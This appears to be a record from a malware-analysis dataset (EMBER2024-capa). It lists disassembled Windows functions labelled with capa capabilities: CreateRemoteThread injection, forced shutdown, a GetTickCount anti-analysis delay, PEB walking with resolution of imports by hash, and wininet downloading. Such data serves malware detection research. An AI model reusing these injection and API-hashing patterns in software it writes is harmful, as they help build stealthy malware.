joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ffb90
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], esp
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x4ffbe9
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0x20], esp
push 0x6209d5
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x4ffc10
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4ffc27
mov eax, 0
jmp 0x4ffdd8
mov dword [ebp - 0x20], esp
push 0x6209e2
push dword [ebp - 8]
call dword [sym.imp.kernel32.dll_GetProcAddress]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x4ffc4e
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4ffc65
mov eax, 0
jmp 0x4ffdd8
mov dword [ebp - 0x20], esp
push 0
push 0
push dword [ebp + 8]
push dword [ebp - 0xc]
push 0
push 0
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_CreateRemoteThread]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x4ffca1
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], esp
push 0x64
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x4ffccb
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x102
jne 0x4ffd52
mov dword [ebp - 0x20], esp
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetExitCodeThread]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x4ffd01
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 0x20], esp
push dword [ebp - 0x18]
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_TerminateThread]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x4ffd26
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 0x20], esp
push dword [ebp - 0x10]
call dword [0x637a75]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x4ffd48
push 6
call fcn.0053559b
add esp, 4
mov eax, 0
jmp 0x4ffdd8
cmp dword [ebp - 0x10], 0
jne 0x4ffd66
mov eax, 0
jmp 0x4ffdd8
mov dword [ebp - 0x20], esp
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetExitCodeThread]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x4ffd8c
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 0x20], esp
push dword [ebp - 0x10]
call dword [0x637a75]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x4ffdae
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 0x20], esp
push dword [ebp - 4]
call dword [0x637a75]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x4ffdd0
push 6
call fcn.0053559b
add esp, 4
mov eax, dword [ebp - 0x1c]
jmp 0x4ffdd8
mov esp, ebp
pop ebp
ret 4
Function at 0x50275b
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call fcn.004a4117
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push 1
push 2
mov ebx, 0xc8
call fcn.00538490
add esp, 0x1c
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0xffff
push dword [ebp - 4]
call dword [sym.imp.user32.dll_ExitWindowsEx]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x5027bd
push 6
call fcn.0053559b
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x5074b7
Capabilities:
Contain obfuscated stackstrings
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0x48
push ebp
mov ebp, dword [esp + 0x5c]
mov dword [esp + 0xc], 0x44434241
mov dword [esp + 0x10], 0x48474645
mov dword [esp + 0x14], 0x4c4b4a49
mov dword [esp + 0x18], 0x504f4e4d
mov dword [esp + 0x1c], 0x54535251
mov dword [esp + 0x20], 0x58575655
mov dword [esp + 0x24], 0x62615a59
mov dword [esp + 0x28], 0x66656463
mov dword [esp + 0x2c], 0x6a696867
mov dword [esp + 0x30], 0x6e6d6c6b
mov dword [esp + 0x34], 0x7271706f
mov dword [esp + 0x38], 0x76757473
mov dword [esp + 0x3c], 0x7a797877
mov dword [esp + 0x40], 0x33323130
mov dword [esp + 0x44], 0x37363534
mov dword [esp + 0x48], 0x2f2b3938
test ebp, ebp
jne 0x507550
xor eax, eax
pop ebp
add esp, 0x48
ret 0x10
lea ecx, [ebp*8]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 2
lea ecx, [ebp*8]
lea eax, [edx + edx*2]
add eax, eax
sub ecx, eax
sub ecx, 2
je 0x50757e
sub ecx, 2
jne 0x507581
add edx, 2
jmp 0x507581
add edx, 3
push edi
mov edi, dword [esp + 0x58]
inc edx
cmp dword [edi], edx
jae 0x507598
mov dword [edi], edx
pop edi
or eax, 0xffffffff
pop ebp
add esp, 0x48
ret 0x10
mov ecx, dword [esp + 0x54]
mov eax, 0xaaaaaaab
mul ebp
shr edx, 1
push ebx
mov ebx, dword [esp + 0x60]
lea edx, [edx + edx*2]
xor eax, eax
push esi
test edx, edx
je 0x507630
dec edx
mov eax, 0xaaaaaaab
mul edx
mov eax, edx
shr eax, 1
inc eax
mov dword [esp + 0x10], eax
mov ebp, eax
lea eax, [eax + eax*2]
mov dword [esp + 0x14], eax
movzx edx, byte [ebx]
movzx esi, byte [ebx + 1]
movzx edi, byte [ebx + 2]
mov eax, edx
sar eax, 2
and eax, 0x3f
shl edx, 4
movzx eax, byte [esp + eax + 0x18]
mov byte [ecx], al
mov eax, esi
sar eax, 4
add eax, edx
and eax, 0x3f
add ebx, 3
movzx eax, byte [esp + eax + 0x18]
mov byte [ecx + 1], al
mov eax, edi
sar eax, 6
and edi, 0x3f
lea eax, [eax + esi*4]
and eax, 0x3f
add ecx, 4
movzx eax, byte [esp + eax + 0x18]
mov byte [ecx - 2], al
movzx eax, byte [esp + edi + 0x18]
mov byte [ecx - 1], al
dec ebp
jne 0x5075ce
mov ebp, dword [esp + 0x68]
mov edi, dword [esp + 0x60]
mov eax, dword [esp + 0x14]
cmp eax, ebp
jae 0x50768a
movzx esi, byte [ebx]
inc eax
mov dword [esp + 0x68], eax
cmp eax, ebp
jae 0x507646
movzx edx, byte [ebx + 1]
jmp 0x507648
xor edx, edx
mov eax, esi
sar eax, 2
and eax, 0x3f
shl esi, 4
movzx eax, byte [esp + eax + 0x18]
mov byte [ecx], al
mov eax, edx
sar eax, 4
add eax, esi
and eax, 0x3f
movzx eax, byte [esp + eax + 0x18]
mov byte [ecx + 1], al
cmp dword [esp + 0x68], ebp
jae 0x50767e
and edx, 0xf
mov al, byte [esp + edx*4 + 0x18]
mov byte [ecx + 2], al
jmp 0x507682
mov byte [ecx + 2], 0x3d
add ecx, 3
inc ecx
mov byte [ecx - 1], 0x3d
mov eax, ecx
sub eax, dword [esp + 0x5c]
pop esi
mov dword [edi], eax
pop ebx
pop edi
mov byte [ecx], 0
xor eax, eax
pop ebp
add esp, 0x48
ret 0x10
Function at 0x50aded
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0
cmp dword [ebp + 0xc], 0
jne 0x50ae0e
mov dword [ebp + 0xc], 0xbb8
push 0
mov ebx, 0x308
call sub.kernel32.dll_GetTickCount
add esp, 4
mov dword [ebp - 4], eax
push SysStringLen
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x50ae38
mov eax, 0x618809
push eax
push 1
mov ebx, 0x24c
call fcn.0053e160
add esp, 0x10
test eax, eax
je 0x50af00
push 0x80000301
push 0
push 0
push SysStringLen
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x50ae74
mov eax, 0x618809
push eax
push 2
mov ebx, 0x260
call fcn.0053bc00
add esp, 0x1c
push SysStringLen
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x50ae9c
mov eax, 0x618809
push eax
push 1
mov ebx, 0x244
call fcn.0053bab0
add esp, 0x10
push 0
mov ebx, 0x308
call sub.kernel32.dll_GetTickCount
add esp, 4
mov dword [ebp - 0x10], eax
fild dword [ebp - 0x10]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fild dword [ebp - 4]
fstp qword [ebp - 0x18]
fsub qword [ebp - 0x18]
fstp qword [ebp - 0x20]
fild dword [ebp + 0xc]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x20]
fsub qword [ebp - 0x28]
fcomp qword [0x618a57]
fnstsw ax
test ah, 1
jne 0x50aefb
jmp 0x50af00
jmp 0x50ae23
mov esp, ebp
pop ebp
ret 0xc

Function at 0x50c49f
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
push 4
push 0
push 4
push 0
push 0xffffffff
call dword [0x637ab1]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x50c4f3
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], esp
push 0
push 0
push 0
push 6
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_MapViewOfFile]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x50c52c
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 4
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [0x637ab5]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x50c559
push 6
call fcn.0053559b
add esp, 4
mov eax, dword [ebp - 8]
jmp 0x50c561
mov esp, ebp
pop ebp
ret 8
Function at 0x5193fe
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x51941f
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x519416
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x51940e
mov eax, ebx
leave
ret

Function at 0x519445
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0xc]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 8]
mov eax, dword [esi]
add eax, dword [ebp + 8]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 8]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 8]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 8]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 8]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x5194a4
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x5194d1
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x5194c0
xor ecx, eax
xor edx, ebx
dec edi
jne 0x5194b1
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x5194f7
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x519498
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 8]
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 8
Function at 0x519d37
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword ds:[ebp - 0x20], 0xff8bff8b
mov dword ds:[ebp - 0x14], 0xff8bff8b
mov dword ds:[ebp - 0x1c], 0xff8bff8b
push 0x7fc
push dword [ebp - 0x20]
call fcn.005193c4
push eax
push dword [ebp - 0x20]
lea eax, [ebp - 4]
mov ebx, eax
pop ecx
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x519f16
push dword [ebp - 4]
call fcn.005193a8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x519e07
jmp 0x519f16
push dword [ebp - 4]
call fcn.005193a8
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp dword [ebp - 4], eax
jne 0x519e5b
lea eax, [ebp - 4]
push eax
call fcn.00519d1d
mov dword [ebp - 0x28], eax
push 0
push 4
push dword [ebp - 0x28]
push dword [ebp - 4]
push 0xffffffff
push dword [ebp - 0x14]
call fcn.005195cf
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x519e5b
mov eax, 1
jmp 0x519e5d
xor eax, eax
test eax, eax
je 0x519f0b
push ebx
push esi
push edx
mov ebx, dword [ebp + 8]
lea eax, [ebx + 0x3c]
mov eax, dword [eax]
add eax, ebx
lea eax, [eax + 0x78]
mov eax, dword [eax]
lea esi, [eax + ebx]
mov dword [ebp - 0x10], esi
lea edx, [esi + 0x20]
mov edx, dword [edx]
add edx, ebx
mov edx, dword [edx]
add edx, ebx
mov dword [ebp - 0x18], edx
lea eax, [esi + 0x18]
mov eax, dword [eax]
dec eax
mov dword [ebp - 4], eax
pop ebx
pop esi
pop edx
push dword [ebp - 4]
lea eax, [ebp - 4]
mov ebx, eax
mov ecx, 0
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x519f03
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call dword [ebp - 0x1c]
call fcn.00519b3a
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x519ef2
push edi
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
lea eax, [eax + 0x1c]
mov eax, dword [eax]
add eax, dword [ebp + 8]
lea eax, [eax + edi*4]
mov eax, dword [eax]
add eax, dword [ebp + 8]
pop edi
leave
ret 8
push dword [ebp - 0xc]
call fcn.00519cf6
add dword [ebp - 8], eax
pop ebx
pop ecx
pop edx
inc ecx
jmp 0x519ea5
add esp, 0xc
jmp 0x519f16
pop ebx
pop ecx
pop edx
add ecx, 4
jmp 0x519de0
add esp, 0xc
mov edi, edi
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, 0
jmp 0x519f37
mov esp, ebp
pop ebp
ret 8
Function at 0x51c68c
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.0051c83c
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x51c78a
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x51c72d
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x51c770
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x51c744
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x51c75f
test al, 0x40
je 0x51c756
mov ecx, dword [edi + 0x20]
jmp 0x51c75d
test al, 0x80
je 0x51c770
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x51c770
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x51c6fc
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x524204
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], esp
push 0
push 0x618809
push 0x618809
push 1
mov ebx, dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.wininet.dll_InternetOpenA]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x524261
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], esp
push 0
push SysReAllocString
push 0
push 0x618809
mov ebx, dword [ebp + 8]
push dword [ebx]
push dword [ebp - 0x18]
call dword [sym.imp.wininet.dll_InternetOpenUrlA]
nop
nop
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x52429f
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 4], eax
push 0x80000301
push 0
push 0x800
push 1
mov ebx, 0x184
call fcn.005383c0
add esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x5242d7
push ebx
call fcn.0053558f
add esp, 4
pop eax
mov dword [ebp - 8], eax
push 0
mov ebx, 0x350
call fcn.005397a0
add esp, 4
push SysStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x524300
mov eax, 0x618809
push eax
push 1
mov ebx, 0x130
call fcn.005368d0
add esp, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x14]
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.wininet.dll_InternetReadFile]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x524342
push 6
call fcn.0053559b
add esp, 4
push 0x80000301
push 0
push dword [ebp - 0xc]
push SysStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x52435f
mov eax, 0x618809
push eax
push 2
mov ebx, 0x134
call fcn.005368e0
add esp, 0x1c
mov dword [ebp - 0x14], eax
push dword [ebp - 0x14]
push dword [ebp - 0x10]
mov ecx, 2
call fcn.0049d94d
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x52439b
push ebx
call fcn.0053558f
add esp, 4
mov eax, dword [ebp - 0x18]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x5243af
push ebx
call fcn.0053558f
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xc], 0
jne 0x5242db
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x5243d9
push eax
mov ebx, eax
call fcn.0049d8e2
inc eax
push eax
call fcn.00535595
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x5243de
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x5243ef
push ebx
call fcn.0053558f
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x5243ff
push ebx
call fcn.0053558f
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x5298fa
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0
push 0x1008
call fcn.00535595
add esp, 4
mov dword [ebp - 8], eax
mov edi, eax
mov esi, 0x636188
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x400
rep stosd dword es:[edi], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp + 8], 0
jne 0x529957
mov eax, 0
jmp 0x529aba
mov dword [ebp - 0x18], esp
lea eax, [ebp - 0xc]
push eax
push 0x800
mov ebx, dword [ebp - 8]
call fcn.0049d8c2
push ebx
call dword [sym.imp.psapi.dll_EnumProcesses]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x529988
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x529ab2
fild dword [ebp - 0xc]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fdiv qword [0x618fcc]
fstp qword [ebp - 0x24]
mov dword [ebp - 0x2c], 1
fld qword [ebp - 0x24]
call fcn.0049d9a9
cmp eax, 0
jge 0x5299c8
push 0xa
call fcn.0053559b
add esp, 4
mov dword [ebp - 0x28], eax
lea ebx, [ebp - 0x2c]
call fcn.0049d8c2
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.00535595
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
lea esi, [ebp - 0x28]
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov ebx, dword [ebp - 8]
call fcn.0049d8c2
pop edx
mov eax, ecx
cmp ecx, edx
jle 0x529a07
mov ecx, edx
sub eax, ecx
sub edx, ecx
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
test edx, edx
je 0x529a1d
mov ecx, edx
xor eax, eax
rep stosd dword es:[edi], eax
push dword [ebp - 8]
call fcn.0053558f
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
call fcn.0049ecb4
xor ecx, ecx
push eax
lea eax, [ebp - 0x10]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x529aaf
mov ebx, dword [ebp - 8]
call fcn.0049d8c2
push ebx
push ecx
mov eax, dword [ebp - 0x10]
dec eax
jns 0x529a68
push 4
call fcn.0053559b
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x529a7b
push 1
call fcn.0053559b
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp + 8]
mov ebx, dword [ebp - 0x18]
cmp dword [ebx], eax
jne 0x529a98
mov dword [ebp - 0x14], 1
push 0
mov ebx, 0x350
call fcn.005397a0
add esp, 4
pop eax
pop ebx
pop ecx
jmp 0x529a3d
add esp, 0xc
mov eax, dword [ebp - 0x14]
jmp 0x529aba
push eax
mov ebx, dword [ebp - 8]
push ebx
call fcn.0053558f
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x5333ed
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
cmp dword [ebp + 0x28], 0
jne 0x53343a
mov dword [ebp - 0xc], esp
push 0x94cf0000
push 0xfffffff0
push dword [ebp + 8]
call dword [sym.imp.user32.dll_SetWindowLongA]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x53343a
push 6
call fcn.0053559b
add esp, 4
cmp dword [ebp + 0x10], 0
mov eax, 0
sete al
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x53347a
mov dword [ebp - 0xc], esp
mov ebx, dword [ebp + 0xc]
push dword [ebx]
push dword [ebp + 8]
call dword [0x637b01]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x53347a
push 6
call fcn.0053559b
add esp, 4
cmp dword [ebp + 0x30], 0
jne 0x53348b
mov dword [ebp + 0x2c], 0x400
cmp dword [ebp + 0x38], 0
jne 0x53349c
mov dword [ebp + 0x34], 0x300
push 1
push 0x3c
push 1
push dword [ebp + 0x34]
push 1
push dword [ebp + 0x2c]
push 1
push 0x20
call fcn.004ba1b2
cmp dword [ebp + 0x18], 0
jne 0x5334ca
mov dword [ebp + 0x14], 0x400
cmp dword [ebp + 0x20], 0
jne 0x5334db
mov dword [ebp + 0x1c], 0x300
push 0
mov ebx, 0x2d4
call fcn.0053eaf0
add esp, 4
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fstp qword [ebp - 0x14]
fld qword [ebp - 0x14]
fild dword [ebp + 0x14]
fstp qword [ebp - 0x1c]
fsub qword [ebp - 0x1c]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
fdiv qword [0x6188e7]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
call fcn.0049d9a9
mov dword [ebp - 4], eax
push 0
mov ebx, 0x2d8
call fcn.0053eb00
add esp, 4
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fstp qword [ebp - 0x14]
fld qword [ebp - 0x14]
fild dword [ebp + 0x1c]
fstp qword [ebp - 0x1c]
fsub qword [ebp - 0x1c]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
fdiv qword [0x6188e7]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
call fcn.0049d9a9
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 1
push dword [ebp + 0x1c]
push dword [ebp + 0x14]
push dword [ebp - 8]
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.user32.dll_MoveWindow]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x533590
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 0xc], esp
push 0x618809
push 0x61919b
call dword [sym.imp.user32.dll_FindWindowA]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x5335b9
push 6
call fcn.0053559b
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esp
push 0
push 0x1f5
push 0x312
push dword [ebp - 0x10]
call dword [0x6379ad]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x5335ed
push 6
call fcn.0053559b
add esp, 4
mov esp, ebp
pop ebp
ret 0x34